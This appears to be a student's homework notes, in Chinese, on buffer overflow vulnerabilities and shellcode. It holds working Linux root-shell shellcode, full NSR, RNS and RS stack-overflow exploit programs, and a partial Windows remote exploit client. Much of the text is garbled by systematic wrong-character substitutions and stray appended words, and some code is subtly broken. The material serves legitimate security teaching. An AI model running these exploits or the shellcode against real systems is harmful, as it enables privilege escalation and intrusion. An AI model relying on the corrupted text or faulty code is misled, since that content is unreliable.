20199311 2019-2020-2《網絡攻防實踐》第10周做業

問題 回答
這個做業屬於哪一個課程 https://edu.cnblogs.com/campus/besti/19attackdefense
這個做業的要求在哪裏 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10723
我在這個課程的目標是 學習教材第十章,瞭解緩衝區溢出漏洞和Shellcode的相關知識
這個做業在哪一個具體方面幫助我實現目標 相關知識點

1. 實踐內容

1.1 軟件安全概述

攻擊者可以輕易地對系統和網絡實施攻擊,很大程度上是由於安全漏洞在軟件中的大規模存在,攻擊者能夠利用這些漏洞來違背系統和網絡的安全屬性。安全漏洞在軟件開發週期的各個環節(包括設計、編碼、發佈等)中均可能被引入,而只有軟件設計與開發人員充分認識到安全漏洞的危害、掌握安全漏洞機理,以及如何避免漏洞的安全編程經驗,並在軟件廠商的軟件開發生命週期中切實執行安全設計開發的流程,纔有可能盡欖地減小發布軟件中的安全漏洞數量,下降它們對網絡與現實世界所帶來的影響與危害。html

1.1.1 軟件安全漏洞威脅

軟件自從誕生之日起,就和 bug 如影隨行,而其中能夠被攻擊者利用並致使危害的安全缺陷(Security bug)被稱爲軟件安全漏洞(Software Vulnerability)。
美國國家標準技術研究院NIST 將安全漏洞定義爲: 「在系統安全流程、設計、實現或
內部控制中所存在的缺陷或弱點,可以被攻擊者所利用並致使安全侵害或對系統安全策略的違反「,包括三個基本元素:系統的脆弱性或缺陷、攻擊者對缺陷的可訪問性,以及攻擊者對缺陷的可利用性。所以一個安全脆弱性或缺陷真正被稱爲安全漏洞,必須是攻擊者具有至少一種攻擊工具或技術可以訪問和利用到這一缺陷。軟件安全漏洞則被定義爲在軟件的需求規範、開發階段和配置過程當中引入的缺陷實例,其執行會違反安全策略。軟件安全漏洞一樣符合安全漏洞的三個基本元素, 同時被限制於在計算機軟件中。linux

1.1.2 軟件安全困境

軟件安全困境三要素:複雜性(Complexity)、可擴展性(Extensibility)和連通性(Connectivity),軟件的這三個要素共同做用,使得軟件的安全風險管理成爲了一個巨大的挑戰,從而很難根除安全漏洞。算法

  • 複雜性:計算機軟件通過數十年的發展,現代軟件已經變得很是複雜,並且發展趨勢代表,軟件的規模還會更快地膨脹,變得更加複雜。而軟件規模愈來愈大,愈來愈複雜,也就意味着軟件的bug會愈來愈多。雖然這其中大多數 bug 並不會形成安全問題,或者沒法被攻擊者所利用,但只要攻擊者可以從中發現出少數幾個可利用的安全漏洞,他們就能夠利用這些安全漏洞來危害軟件的使用者。shell

  • 可擴展性:致使軟件安全困境的第二個要素是軟件的可擴展性。現代軟件爲了支持更加優化的軟件架構,支持更好的客戶使用感覺,每每都會提供一些擴展和交互渠道。但正是現代可擴展軟件自己的特性使得安全保證更加困難,首先,很難阻止攻擊者和惡意代碼以不可預測的擴展方式來入侵軟件和系統;其次,分析可擴展性軟件的安全性要比分析一個徹底不能被更改的軟件要因可貴多。編程

  • 連通性:互聯網的普及使得全球更多的軟件系統都連通在一塊兒,不只是接入互聯網的計算機數量快速增長,一些控制關鍵基礎設施的重要信息系統也與互聯網創建起了連通性。高度的連通性使得—個小小的軟件缺陷就有可能影吶很是大的範圍,從而引起巨大的損失。windows

1.1.3 軟件安全漏洞類型

做爲軟件安全漏澗標準目錄 CVE 的維護機構,MITRE 曾給出了在 CVE 中歸檔的安全
漏洞類型統計狀況及發展趨勢, 從安全漏洞的技術機理方面一共列舉出了37類, 並統計了2001-2006 年中最流行的 Top 10 安全漏洞類型,以下圖所示
圖片描述數組

  • 內存安全違規類(MemorySafety Violations):內存安全違規類漏利是在軟件開發過程當中在處理RAM (random-access memory) 內存訪問時所引入的安全缺陷,如緩衝區溢出漏洞和 Double Free、Use-after-Free 等不安全指針問題等。內存安全違規類漏洞主要出如今 C/C++ 等編程語言所編寫的軟件程序中,因爲這類語言支待任意的內存分配與歸還、任意的指針計算、轉換,而這些操做一般沒有進行保護確保內存安全,於是很是容易引入此類漏洞。sass

  • 輸入驗證類(Input Validation Errors):輸入驗證類安全漏洞是指軟件程序在對用戶輸入進行數據驗證存在的錯誤,沒有保證輸入數據的正確性、合法性和安全性,從而致使可能被惡意攻擊與利用。輸入驗證類安全新洞根據輸入位置、惡意輸入內容被軟件程序的使用方式的不一樣,又包含格式化字符串、SQL 注入、代碼注入、遠程文件包含、目錄遍歷、XSS、HTTP Header 注入、HTTP 響應分割錯誤等多種安全漏洞技術形式。輸入驗證類安全漏洞,特別是針對目前流行的 Web 應用程序的輸入驗證類漏洞,近年來已經成爲攻擊者最廣泛利用的目標。安全

  • 競爭條件類(Race Conditions Errors):競爭條件類缺陷是系統或進程中一類比較特殊的錯誤,一般在涉及多進程或多線和處理的程序中出現,是指處理進程的輸出或者結果沒法預測,並依賴於其餘進程事件發生的次序或時間時,所致使的錯誤。網絡

  • 權限混淆與提高類(Privilege confusion and escalation bugs):權限混淆與提高類漏洞是指計算機程序由千自身編程疏忽或被第三方欺騙,從而濫用其權限,或賦予第三方不應給予的權限。權限混淆與提高類漏洞的具體技術形式主要有 Web 應用程序中的跨站請求僞造(Cross-Site Request Forgery,CSRF)、Clickjacking、FTP反彈攻擊、權限提高、"越獄" (jailbreak) 等。

1.2 緩衝區溢出基礎概念

緩衝區溢出 (Buffer Overflow) 是最先被發現也是最基礎的軟件安全漏洞技術類型之 一。

1.2.1 緩衝區溢出的基本概念

緩衝區溢出是計算機程序中存在的一類內存安全違規類漏洞,在計算機程序向特定緩衝區內填充數據時,超出了緩衝區自己的容量,致使外溢數據覆蓋了相鄰內存空間的合法數據,從而改變程序執行流程破壞系統運行完整性。理想狀況下,程序應檢查每一個輸入緩衝區的數據長度,並不容許輸入超出緩衝區自己分配的空間容量,可是大量程序老是假設數據長度是與所分配的存儲空間是相匹配的,於是很容易產生緩衝區溢出漏洞。
緩衝區溢出攻擊發生的根本緣由,能夠認爲是現代計算機系統的基礎架構——馮·諾伊曼休系存在本質的安全缺陷,即採用了 「存儲程序」 的原理,計算機程序的數據和指令都在同一內存中進行存儲而沒有嚴格的分離。這一缺陷使得攻擊者能夠將輸入的數據,經過利用緩衝區溢出漏洞,覆蓋修改程序在內存空間中與數據區相鄰存儲的關鍵指令,從而達到使程序執行惡意注入指令的攻擊目的。

1.2.2 緩衝區溢出攻擊背景知識

  • 編譯器與調試器的使用:C/C++ 等高級編程語言編寫的源碼,須要經過編譯器(Compiler) 和鏈接器(Linker)才能生成可直接在操做系統平臺上運行的可執行和序代碼。向調試器(Debugger)則是程序開發人員在運行時刻調試與分析程序行爲的基本工具。對於最常使用的 C/C++ 編程語言。最著名的編譯與鏈接器是GCC,類UNIX 平臺上進行程序的調試常用的調試器是 GDB 調試器。gdb的經常使用命令以下表
命令 做用
break/clear 來啓用或禁用斷點
enable/disable 來啓用或禁用斷點
watch 可設置監視表達式值改變時的程序中斷
run 運行程序
attach 調試已運行進程
continue 繼續運行
next 單步代碼執行並不進入函數調用
nexti 單步指令執行並不進入函數調用
step 單步代碼並跟入函數調用
stepi 單步指令並跟入函數調用
info 查看各類信息
backtrace 顯示調用棧
x 限制指定地址內容
print 顯示錶達式值
list 列出程序源碼需調試程序帶符號編譯
disass 反彙編指定函數

對於 Windows 平臺,微軟的 Visual Studio、VS.Net 是比較經常使用的集成開發環境,但對於以調試 C/C++ 語言爲主的軟件安全漏洞及滲透利用代碼,使用 VC++ 便可,VC++集成開發環境中集成了微軟自身的 C/C++ 編譯器與鏈接器,以及自帶的調試與反彙編功能。

  • 彙編語言基礎知識:彙編語言,尤爲是 IA32 (Intel 32位)架構下的彙編語言,是理解軟件安全漏洞機理,掌握軟件滲透攻擊代碼技術的底層基礎。在IA32彙編語言中,首先咱們須要熟悉經常使用的寄存器和它們對應的功能,咱們從應用的角度通常將寄存器分爲4類,即通用寄存器、段寄存器、控制寄存器和其餘寄存器。通用寄存器如eax 、ebx 、ecx、edx等,主要用於普通的算術運算,保存數據、地址、偏移量、計數值等。咱們須要特別注意通用寄存器中的 "棧指針" 寄存器 esp,它在棧溢出攻擊時是個關鍵的操縱對象。段寄存器在 IA32 架構中是16位的,通常用做段基址寄存器。控制寄存器用來控制處理器的執行流程,其中最關鍵的是 eip ,也被稱爲 「指令指針」 它保存了下一條即將執行的機器指令的地址,於是也成爲各類攻擊控制程序執行流程的關鍵攻擊目標對象,而如何修改與改變將要被裝載至 eip 寄存器的內存數據,以及修改成何地址,是包括緩衝區溢出在內滲透攻擊的關鍵所在。其餘寄存器中值得關注的是 「擴展標誌」 eflags 寄存器,由不一樣的標誌位組成,用於保存指令執行後的狀態和控制指令執行流程的標誌信息。
    圖片描述

圖片描述
在熟悉 IA32 架構寄存器以後,咱們還須要熟悉一些經常使用匯編指令的含義,有 IA32 架構彙編語言中,又分爲 Intel 和 AT&T 兩種具備不少差別的彙編格式。在類 UNIX 平臺下,一般使用 AT&T 彙編格式,而在 DOS/Windows 平臺下,則主要使用 Intel 彙編格式。
圖片描述

  • 進程內存管理:Linux 操做系統中的進程內存空間佈局和管理機制: 程序在執行時,系統在內存中會爲程序建立一個虛擬的內存地址空間,在 32 位機上即 4GB 的空間大小,用於映射物理內存,並保存程序的指令和數據;Linux 的進程內存空間佈局以下圖所示,3GB(即0xc0000000)如下爲用戶態空間,3GB-4GB 爲內核態空間;操做系統將可執行程序加載到新建立的內存空間中,程序通常包含 .text、.bss 和 .data 三種類型的段,.text段包含程序指令,在內存中被映射爲只讀,.data 段主要包含靜態初始化的數據,而 .bss 段則主要包含未經初始化的數據,二者都被映射至可寫的內存空間中;加載完成後,系統緊接着就開始爲相序初始化 「棧」 (Stack)和「 堆」 (Heap),「棧」 是一種後進先出的數據結構,其地址空間從商地址向低地址增加,Linux程序運行的環境變量 env 、運行參數 argv、運行參數數量 argc 都被放置在 「棧」 底,而後是主函數及調用 「棧」 中各個函數的臨時保存信息,「堆」 則是一種先進先出的數據結構,用於保存程序動態分配的數據和變量,其地址空間從低地址往高地址增加,與 「棧」 正好相反;程序執行時,就會按照程序邏輯執行 .text 中的指令,並在 「堆」 和 「棧」 中保存和讀取數據。
    圖片描述
    Windows 操做系統的進程內存空間佈局則與 Linux系統有着一些差別,以下圖所示,2GB-4GB 爲內核態地址空間,用於映射 Windows 內核代碼和一些核心態 DLL,並用於存儲一些內核態對象,0GB-2GB爲用戶態地址空間,高地址段映射了一些大量應用進程所共同使用的系統 DLL,如 Kernel32.dll、User32.dll等,在 1GB 地址位置用於裝載一些應用進程自己所引用的 DLL 文件,可執行代碼區間從0x00400000 開始, 而後是靜態內存空間用於保存全局變量與靜態變量,「堆」 一樣是從低地址向高地址增加,用於存儲動態數據,「棧」 也是從高地址向低地址增加,在單線程進程中通常的 「棧」 底在0x0012XXXX的位置。
    圖片描述

  • 函數調用過程:棧結構與函數調用過程的底層細節是理解棧溢出攻擊的重要基礎,由於棧溢出攻擊就是針對函數調用過程當中返回地址在棧中的存儲位置,進行緩衝區溢出,從而改寫返回地址,達到讓處理器指令寄存器跳轉至攻擊者指定位置執行惡意代碼的目的。
    程序進行函數調用的過程有以下三個步驟:

    1. 調用(call):調用者將函數調用參數、函數調用下一條指令的返回地址壓棧,並跳轉至被調用函數入口地址。
    2. 序言(prologue):被調用函數開始執行首先會進入序言階段,將對調用函數的棧基址進行壓棧保存,並建立自身函數的棧結構,具體包括將 ebp 寄存器賦值爲當前棧基址,爲本地函數局部變量分配棧地址空間,更新 esp 寄存器爲當前棧頂指針等。
    3. 返回(return):被調用函數執行完功能將指令控制權返回給調用者以前, 會進行返回階段的操做,一般執行 leave 和 ret 指令,即恢復調用者的棧頂與棧底指針,並將以前壓棧的返回地址裝載至指令寄存器 eip 中,繼續執行調用者在函數調用以後的下一條指令。

1.2.3 緩衝區溢出攻擊原理

緩衝區溢出漏洞根據緩衝區在進程內存空間中的位置不一樣,又分爲棧溢出、堆溢出和內核溢出這三種具體技術形態,棧溢出是指存儲在棧上的一些緩衝區變量因爲存在缺少邊界保護問題,可以被溢出並修改棧上的敏感信息(一般是返回地址),從而致使程序流程的改變。堆溢出則是存儲在堆上的緩衝區變量缺少邊界保護所遭受溢出攻擊的安全問題,內核溢出漏洞存在於一些內核模塊或程序中,是因爲進程內存空間內核態中存儲的緩衝區變量被溢出形成的。
下面以棧溢出安全漏洞爲例,來說解緩衝區溢出攻擊的基本原理

#include <stdio.h>

void return_input(void){
    char array[30];
    gets(array);
    printf("%s\n", array);
}

int main (void){
    return_input();
    return 0;
}

這段代碼中return_input()函數中定義了一個局部變量array,爲30字節長度的字符串緩衝區,按照咱們對進程內存空間佈局和各種型變量存儲位置的瞭解,函數局部變量將被存儲在棧上, 並位於main()函數調用時壓棧的下一條指令(即return 0;) 返回地址之下,而在retum_input()函數中執行gets函數將用戶終端輸入至array緩衝區時,沒有進行緩衝區邊界檢查和保護,所以若是用戶輸入超出30字節的字符串時,輸入數據將會溢出array緩衝區,從而覆蓋array緩衝區上方的EBPRET, 一旦覆蓋了RET返回地址以後,在return_input()函數執行完畢返回main()函數時,EIP寄存器將會裝載棧中RET位置保存的值,此時該位置已經被溢出改寫爲溢出的字符串,而該字符串多是進程沒法讀取的空間, 因此可能會形成程序的段錯誤(Segmentation fault)

在上述的示例代碼中,咱們輸入的數據成功地溢出了緩衝區,修改了EBPRET的內容,形成了程序進程的崩潰,若是是一些重要的程序進程,如網絡服務進程,那麼它的崩潰就意味着拒絕服務攻擊。固然真正的黑客不會知足於只是形成程序的崩潰,他們還指望更進一步地控制程序的執行流程,從而經過溢出得到目標程序或系統的訪問控制權。爲了達到這一目標,就須要精心地構造緩衝區溢出攻擊,解決以下三個問題:

  1. 如何找出緩衝區溢出要覆蓋和修改的敏感位置?例如棧溢出中的RET返回地址在棧中的存儲位置。
  2. 將敏感位置的值修改爲什麼?
  3. 執行什麼代碼指令來達到攻擊目的?在程序控制權移父至攻擊者注入的指令後,那麼這段指令究成何種功能,如何編寫?(這段代碼被稱爲攻擊的 payload ,一般會爲攻出者給出一個遠程的 Shell 訪問, 所以也被稱爲 Shellcode)

來看這段示例代碼

#include <stdio.h>
#include <string.h>
char shellcode[]=
// setreuid(0,0);
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\xb0\x46" // mov $0x46,%al
"\xcd\x80" // int $0x80
// execve /bin/sh
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
"\x50" // push %eax
"\x53" // push %ebx
"\x8d\x0c\x24" // lea (%esp,1),%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80
// exit();
"\x31\xc0" // xor %eax,%eax
"\xb0\x01" // mov $0x1,%al
"\xcd\x80"; // int $0x80


char large_string[128];
int main(int argc, char **argv){
	char buffer[96];
	int i;
	long *long_ptr = (long *) large_string;
	for (i = 0; i < 32; i++)
		*(long_ptr + i) = (int) buffer;
	for (i = 0; i < (int) strlen(shellcode); i++)
		large_string[i] = shellcode[i];
	strcpy(buffer, large_string);
	return 0;
}

這段示例代碼中 6字節長度的局部變量buffer在漏洞利用點strcpy()函數缺少邊界安全保護,攻擊者經過精心構造large_string這一個128字節長度的數據, 僅在其在低地址包含一段 Shellcode代碼(0—31),而其餘均填充爲指向buffer起始位置的地址(即被覆蓋後large_string中的 Shellcode 起始地址),在漏洞利用點執行strcpy操做以後,buffer緩衝區會被溢出,main 函數的返回地址RET 將會被覆蓋並改寫爲 Shellcode 的起始地址,所以在return時,EIP寄存器裝載改寫後RET值,並將程序執行流程跳轉至 Shellcode 執行。

在這個示例代碼中,溢出攻擊的第一個關鍵問題——定位須要修改的敏感位置,即棧中的返回地址,根據對棧結構與內存佈局,咱們能夠定位返回地址位於要溢出的buffer變量的高地址位置。第二個關鍵問題——將敏感位置的值修改成什麼,示例代碼中將其改寫爲直接指向 Shellcode 的地址。第三個關鍵問題——執行什麼代碼,示例代碼中保護了一段代碼,用於系統調用,開啓一個命令行 shell。

1.3 Linux平臺上的棧溢出與 Shellcode

1.3.1 Linux平臺棧溢出攻擊技術

Linux平臺中的棧溢出攻擊按照攻擊數據的構造方式不一樣,主要有NSR、RNS 和 RS 三種模式。

  • NSR模式:NSR 模式主要適用於被溢出的緩衝區變量比較大,足以容納 Shellcode的 狀況,其攻擊數據從低地址到高地址的構造方式是一堆Nop指令(即空操做指令)以後填充 Shellcode,再加上一些指望覆蓋RET返回地址的跳轉地址,從而構成了 NSR 攻擊數據緩衝區。
    首先來看一個具備棧溢出漏洞的程序 vulnerable1.c
#include<stdio.h> 

int main(int argc,char **argv){ 
   char buf[500]; 
   strcpy(buf,argv[1]); 
   printf("buf's 0x%8x\n",&buf); 
   getchar();
   return 0; 
}

而後是一段攻擊者精心構造的攻擊代碼

#include<stdio.h> 
#include<stdlib.h> 
#include<string.h> 

char shellcode[]= 
// setreuid(0,0); 
"\x31\xc0" // xor %eax,%eax 
"\x31\xdb" // xor %ebx,%ebx 
"\x31\xc9" // xor %ecx,%ecx 
"\xb0\x46" // mov $0x46,%al 
"\xcd\x80" // int $0x80 
// execve /bin/sh 
"\x31\xc0" // xor %eax,%eax 
"\x50" // push %eax 
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f 
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f 
"\x89\xe3" // mov %esp,%ebx 
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx 
"\x50" // push %eax 
"\x53" // push %ebx 
"\x8d\x0c\x24" // lea (%esp,1),%ecx 
"\xb0\x0b" // mov $0xb,%al 
"\xcd\x80" // int $0x80 
// exit(); 
"\x31\xc0" // xor %eax,%eax 
"\xb0\x01" // mov $0x1,%al 
"\xcd\x80"; // int $0x80 

unsigned long get_esp(){ 
   __asm__("movl %esp,%eax"); 

} 

int main(int argc,char *argv[]){ 
   char buf[530]; 
   char* p; p=buf; 
   int i; unsigned long ret; 
   int offset=0; 

   /* offset=400 will success */ 
   if(argc>1) offset=atoi(argv[1]); 
   ret=get_esp()-offset; 
   memset(buf,0x90,sizeof(buf)); 
   memcpy(buf+524,(char*)&ret,4); 
   memcpy(buf+i+100,shellcode,strlen(shellcode)); 
   printf("ret is at 0x%8x\n esp is at 0x%8x\n",
	   ret,get_esp()); 
   execl("./vulnerable1","vulnerable1",buf,NULL); 
   return 0; 
}

攻擊代碼的核心是在於調用vulnerable1時傳入的字符串。能夠看到咱們在程序中定義的字符串的空間大小是500字節,可是在咱們實際調用的過程當中,傳入的字符串的大小是530字節。咱們如今分析這長度爲530的字符串的組成方式,首先前500字節都被0x90填充,也就是咱們熟知的NOP;接下來的就是上文中提到的 Shellcode;最後就是4個字節的地址,這個地址ret是經過計算獲得的,根據咱們程序參數的不一樣,將跳到咱們使用NOP設置的着陸區之中,而不管跳轉到哪一個Nop指令,程序都會繼續執行,並最終運行 Shellcode ,向攻擊者給出 Shell。
圖片描述

  • RNS模式:第二種棧溢出的模式爲 RNS 模式,通常用於被溢出的變量比較小,不足以容納 Shellcode 的狀況
    首先來看存在漏洞的程序vulnerable2.c
#include<stdio.h> 

int main(int argc,char **argv){ 
   char buf[10]; 
   strcpy(buf,argv[1]); 
   printf("buf's 0x%8x\n",&buf); 
   getchar();
   return 0; 
}

接下來看在 RNS 模式下的攻擊代碼(shellcode部分與上文相同)

#include<stdio.h> 
#include<stdlib.h> 
#include<string.h> 

char shellcode[]; 
int main(int argc,char **argv){ 
   char buf[500]; 
   unsigned long ret,p; 
   int i; 
   p=&buf; 
   ret=p+70; 
   memset(buf,0x90,sizeof(buf)); 
   for(i=0;i<44;i+=4) 
      *(long *)&buf[i]=ret; 
   memcpy(buf+400+i,shellcode,strlen(shellcode)); 
   execl("./vulnerable2","vulnerable2",buf,NULL); 
   return 0;

一樣地,攻擊代碼的核心是在於調用vulnerable2時所傳入的字符串。但由於緩衝區的大小隻有10字節,因此攻擊數據按照從低地址到高地址(數組中先定義的爲低地址,後定義的爲高地址)的構造方式是首先填充一些指望覆蓋ret返回地址的跳轉地址,而後是一堆Nop指令填充出 「着陸區 」,最後再是 Shellcode。在溢出攻擊以後,攻擊數據將在ret區段即溢出了目標漏洞程序的小緩衝區,並覆蓋了棧中的返回地址,而後跳轉至Nop指令所構成的「 着陸區 」,並最終執行 Shellcode。
圖片描述

  • RS 模式:第三種 Linux 平臺上的棧溢出攻擊模式是 RS 模式,在這種模式下可以精確地定位出 Shellcode 在目標漏洞程序進程空間中的起始地址,所以也就無須引入Nop空指令構建 「着陸區」 。
    這種模式是將Shellcode放置在目標漏洞程序執行時的環境變量中,因爲環境變量是位於Linux進程空間的棧底位置,於是不會受到各類變量內存分配與對齊因素的影響,其位置是固定的。能夠經過以下公式進行計算:
ret=0xc0000000-sizeof(void*)-sizeof(FILENAME)-sizeof(Shellcode)

漏洞的程序就是上文提到的 vulnerable2.c
​接下來咱們給出攻擊代碼(shellcode部分與上文相同)

#include<stdio.h> 

char shellcode[]; 

int main(int argc,char **argv){ 
   char buf[32]; 
   char *p[]={"./vulnerable2",buf,NULL}; 
   char *env[]={"HOME=/root",shellcode,NULL}; 
   unsigned long ret; 
   ret=0xc0000000-strlen(shellcode)-strlen("./vulnerable2")-sizeof(void *); 

   memset(buf,0x41,sizeof(buf)); 
   memcpy(&buf[28],&ret,4); 

   printf("ret is at 0x%8x\n",ret); 
   execve("./vulnerable2", "/vulnerable2", buf, env); 

   return 0; 
}

​這個代碼的RET地址是精確計算出來的。咱們能夠看到計算出的返回地址是基於棧地址開始的位置、惟一的環境變量的長度、函數參數的長度、函數指針的長度計算出來,也就是程序中環境變量。這樣能夠保證在攻擊緩衝區中填充直接跳轉至 Shellcode 的起始地址,在溢出並改寫棧中保存的返回地址以後,程序控制流程將跳
轉至 Shellcode 並執行。

Linux 平臺上的遠程棧溢出攻擊的原理與本地棧溢出是同樣的,區別在於用戶輸入傳遞的途徑不一樣,以及 Shellcode 的編寫方式不一樣。
本地棧溢出的用戶輸入傳遞途徑主要爲 argv 命令行輸入、文件輸入等,而遠程棧溢出的用戶輸入傳遞途徑則是經過網絡,存在遠程棧溢出漏洞的每每是一些網絡服務進程或網絡應用程序,攻擊者能夠在網絡應用層協議交互過程當中,利用上述介紹的模式構造惡意網絡數據包,發送給漏洞程序,從而進行滲透攻擊。
NSR 和 RNS 模式也都適用千遠程棧溢出攻擊, 使用場景也主要取決千被溢出的目標緩衝區大小是否足夠容納 Shellcode。因爲 RS 模式是經過本地的 execve()將Shellcode 放置在環境變量中傳遞給目標漏洞程序的,所以這種模式不適用於經過網絡的遠程緩衝區溢出攻擊,而只能用於本地緩衝區溢出攻擊。

1.3.2 Linux 平臺的 Shellcode 實現技術

Shellcode 是一段機器指令,對於咱們一般接觸的 IA32 架構平臺,Shellcode就是符合 Intel 32 位指令規範的一串 CPU 指令, 被用於溢出以後改變系統正常流程,轉而執行 Shellcode 以完成滲透測試者的攻擊目的,一般是爲他提供一個訪問系統的本地或遠程命令行訪問(即Shell)。按照在本地溢出攻擊和遠程溢出攻擊使用場景的不一樣,又分爲本地 Shellcode 和遠程 Shellcode。

  • Linux 本地 Shellcode 實現機制:Linux 系統本地 Shellcode 一般提供的功能就是爲攻擊者啓動一個命令行 Shell。在使用libc進行編程的狀況下,一個典型的 Linux 系統本地 Shellcode 的 C 語言實現代碼以下所示, 即經過execve()函數啓動/bin/sh提供命令行。
#include <stdio.h>
int main ( int argc, char * argv[] )
{
    char * name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve( name[0], name, NULL );
}

可是咱們沒法直接將這段 C 語言源代碼做爲注入攻擊負載,提供給目標程序進行執
行。做爲可以讓目標程序被溢出以後跳轉執行的代碼,咱們必須提供以二進制指令形式存在的 Shellcode。

mov    $0x0,%edx
push   %edx
push   $0x68732f6e
push   $0x69622f2f
mov    %esp,%ebx
push   %edx
push   %ebx
mov    %esp,%ecx
mov    $0xb,%eax
int    $0x80

這段代碼從左到右的次序,分別將execve()函數的參數NULL(0x0) name 變量地址、/bin/sh字符串地址壓入棧中,而後將eax賦值爲execve()系統調用號0xb,執行int 0x80軟中斷,即調用了execve()函數,並將壓棧的輸入參數傳遞給execve()函數例程,從而完成開啓 Shell 的功能。

xor    %edx,%edx
push   %edx
push   $0x68732f6e
push   $0x69622f2f
mov    %esp,%ebx
push   %edx
push   %ebx
mov    %esp,%ecx
mov    $0xb,%eax
int    $0x80

這段代碼與上段代碼具備徹底相同的程序,引入的二進制指令空字節 即OxOO 或NULL) 進行消除,如在mov $0x0, %edx指令中0x0當即數中存在着的空字節等,進行空字節的消除處便是爲了使得最終編制的 Shellcode 中不有在空字節,從而避免在滲透攻擊中對strcpy()等字符串操做函數時,在空字節處截斷 Shellcode 導致攻擊失效。
在得到彙編語言實現的 Shellcode 以後,咱們能夠經過查找 Intel opcode 指令參考手冊,便可得到 opcode 二進制指令形式的 Shellcode,最終得到的 opcode 二進制指令代碼以下所示。
圖片描述

圖片描述

char shellcode[] = 
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

以上咱們介紹了 Linux 系統中一個最簡單的本地 Shellcode 的產生過程,而這個過程事實上也體現了 Shellcode 的通用方法,包括以下 5 個步驟:

  1. 先用高級編程語言,一般用 C 來編寫 Shellcode 程序
  2. 編譯並反彙編調試這個 Shellcode 程序
  3. 從彙編語言代碼級別分析程序執行流程
  4. 整理生成的彙編代碼,儘可能減少它的體積並使它可注入,並可經過嵌入 C 語言進行運行測試和調試;
  5. 提取彙編代碼所對應的 opcode 二進制指令,建立 Shellcode 指令數組。
  • Linux 遠程 Shellcode 實現機制:Linux 系統上的遠程 Shellcode 的實現原理與本地 Shellcode 徹底一致,也是經過執行一系列的系統調用來完成指定的功能。實現方法步驟也是首先給出高級語言的功能代碼實現,而後經過反彙編調試編譯後的二進制程序,提取、優化和整理所得到的彙編代碼,並最終產生 opcode 二進制指令代碼。Linux 遠程 Shellcode 須要讓攻擊目標程序建立 socket 監聽指定的端口等待客戶端鏈接,啓動一個命令行 Shell,並將命令行的輸入輸出與 socket 綁定,這樣攻擊者就能夠經過 socket 客戶端鏈接目標程序所在主機的開放端口,與服務端 socket 創建起通訊通道,並得到遠程訪問 Shell。

1.4 Windows 平臺上的棧溢出與 Shellcode

從技術上分析,因爲Windows橾什系統與Linux操做系統在進程內存空間佈局、系統
對棧的處理方式、系統功能調用方式等方面的實現差別,雖然棧溢出的基礎原理和大體流程是一致的,但在具體的攻擊實施細節、Shellcode 編制等方面仍是存在一些差異。

1.4.1 Windows 平臺棧溢出攻擊技術

  • Windows平臺棧溢出攻擊技術機理:與Linux的不一樣點主要有如下三個:
    1. 對程序運行過程當中廢棄棧的處理方式差別:程序運行過程擁有大量的函數調用,而當一個函數調用完成返回至調用者,執行下條指令以前,會有恢復棧基和棧頂指針的過程,同時一些操做系統對調用函數的廢棄棧中的數據會進行一些處理,Windows 平臺會向廢棄棧中寫入一些隨機的數據,而 Linux 則不進行任何的處理
    2. 進程內存空間的佈局差別:Windows操做系統的進程內存空間佈局與Linux存在着不一樣,Linux進程內存空間中棧底指針在0xc0000000之下,即通常棧中變量的位置都在0xbfff地址附近,在這些地址中沒有空字節。Windows平臺的棧位置處於0x00FFFFFF如下的用戶內存空間,通常爲0x0012地址附近,而這些內存地址的首字節均爲0x00空字節。
    3. 系統功能調用的實現方式差別:Windows平臺卜進行操做系統功能調用的實現方式較Linux也更加複雜,Linux系統中經過 「int 80」 中斷處理來調用系統功能,而 Windows 系統則是經過操做系統中更爲複雜的 API 及內核處理例程調用鏈來完成系統功能調用,對應用程序直接可見的是應用層中如 Kernel32.dll、User32.dll 等系統動態連接庫中導出的一些系統 API 接口函數。因爲存在這樣的差別,在實施包括棧溢出的各種滲透攻擊時,攻擊者注入執行的 Shellcode 在編寫時就須要考慮系統功能調用方式的區別。

爲了應對這前兩點差別對 Windows 平臺上棧溢出攻擊所帶來的挑戰,1999年 Dark Spyrit 提出使用系統核心DLL中的JMP ESP指令來完成控制流程的跳轉。在函數調用結束裝載返回地址的時刻,ESP 指針剛好是指向了注入攻擊緩衝區數據中的Nop指令和 Shellcode,那麼若是咱們將返回地址改寫爲一個指向JMP ESP操做指令的高位地址,使得這個地址中不含空字節(也就不會被字符串操做函數所截斷),那咱們就能夠構造出一段能夠成功實施棧溢出的攻擊數據,由於目標程序在函數調用完成執行RET指令時,就會將在返回地址位置改寫的指令地址裝載入 EIP 寄存器,並跳轉至該地址繼續執行,而這個地址指向的指令是JMP ESP,同時 ESP 寄存器又偏偏指向的是棧上 Nop 和 Shellcode 的位置,所以這條指令會幫助咱們將程序流程返回到棧上,轉而執行所注入的 Shellcode 。JMP ESP的地址能夠在一般能夠在進程內存空間中 1GB 到 2GB 區間中裝載的系統核心DLL (如Kernel32.dll 、User32.dll 等)中找到。

  • 遠程棧溢出攻擊示例:
    下面是一段 windows 下攻擊遠程棧溢出攻擊的示例代碼
int main()
{
        WSADATA wsa;
        SOCKET sockFD;
        char Buff[1024],*sBO;
        WSAStartup(MAKEWORD(2,2),&wsa);
        sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
        struct sockaddr_in server;
        server.sin_family = AF_INET;
        server.sin_port = htons(3764);
        server.sin_addr.s_addr=inet_addr("127.0.0.1");
        connect(sockFD,(struct sockaddr *)&server,sizeof(server));
        for(int i=0;i<56;Buff[i++]=0x90);
        strcpy(Buff+56,(char *)eip);
        strcpy(Buff+60,(char *)sploit);
        sBO = Buff;
        send(sockFD,sBO,56+4+560,0);
        closesocket(sockFD);
